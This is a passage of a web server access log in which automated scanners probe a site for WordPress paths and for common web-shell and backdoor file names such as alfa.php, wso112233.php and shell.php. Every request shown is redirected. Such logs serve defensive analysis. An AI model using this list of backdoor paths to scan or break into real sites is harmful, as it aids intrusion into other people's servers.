HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:46 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:47 -0400] "GET /blog.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:47 -0400] "GET /wp-content/themes/about.php?p= HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:48 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:48 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:49 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:50 -0400] "GET /wp.php?p= HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:50 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:51 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:51 -0400] "GET /wp-includes/rest-api/fields/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:52 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:52 -0400] "GET /wp-includes/fonts/index.php?p= HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:53 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:53 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:53 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:54 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:54 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:54 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:55 -0400] "GET /wp-content/plugins/google-seo-rank/module.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:56 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:56 -0400] "GET /wp-load.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:57 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:57 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:58 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:58 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:58:59 -0400] "GET /fw.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:00 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:01 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:02 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:03 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:04 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:04 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:05 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:05 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:06 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:06 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:07 -0400] "GET /content.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:07 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:07 -0400] "GET /wp-admin/block-support.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:08 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:09 -0400] "GET /wp-includes/block-support.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:09 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:10 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:11 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:11 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:12 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:14 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:15 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:16 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:16 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:17 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:17 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:18 -0400] "GET /chosen.php?p= HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:19 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:19 -0400] "GET /.well-known/cong.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:19 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:20 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:20 -0400] "GET /index.php?p= HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:21 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:22 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:23 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:23 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:24 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:24 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:25 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:25 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:25 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:26 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:27 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:28 -0400] "GET /buy.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:28 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:29 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:30 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:30 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:30 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:31 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:31 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:32 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:32 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:33 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:34 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:35 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:35 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:35 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:36 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:37 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:37 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:38 -0400] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:38 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:39 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:40 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:40 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:40 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:41 -0400] "GET /cong.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:41 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:42 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:42 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:42 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:43 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:43 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:43 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:44 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:45 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:45 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:46 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:47 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:47 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:47 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:48 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:48 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:49 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:50 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 13.74.103.50 - - [03/Apr/2025:20:59:50 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 129.80.255.13 - - [03/Apr/2025:21:14:01 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 64.227.182.105 - - [03/Apr/2025:22:01:53 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible)" 193.24.211.4 - - [04/Apr/2025:00:31:54 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:31:56 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:00 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:02 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:05 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:09 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:12 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:15 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:19 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:22 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:25 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:28 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:32 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:35 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:38 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:40 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:44 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:47 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:51 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:53 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:57 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:32:59 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:33:03 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:33:04 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:33:08 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:33:13 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:33:17 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:33:20 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:33:24 -0400] "GET /.X1-unix/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:33:27 -0400] "GET /.X1-unix/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:33:31 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:33:33 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:33:36 -0400] "GET /.qidb/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:33:39 -0400] "GET /.qidb/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:33:43 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:33:45 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:33:49 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 193.24.211.4 - - [04/Apr/2025:00:33:55 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 172.176.103.48 - - [04/Apr/2025:02:28:16 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:19 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:20 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:21 -0400] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:22 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:22 -0400] "GET /WordPress/wp-admin/includes/zmFM.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:23 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:25 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:26 -0400] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:28 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:29 -0400] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:32 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:34 -0400] "GET /libraries/legacy/info.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:35 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:36 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:38 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:39 -0400] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:39 -0400] "GET /assets/images/28c5400b0b.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:40 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:41 -0400] "GET /wp-mail.php/wp-includes/ID3/.info.php HTTP/1.1" 301 795 "-" "-" 172.176.103.48 - - [04/Apr/2025:02:28:41 -0400] "GET /wp-includes/Text/Diff/Engine/about.php 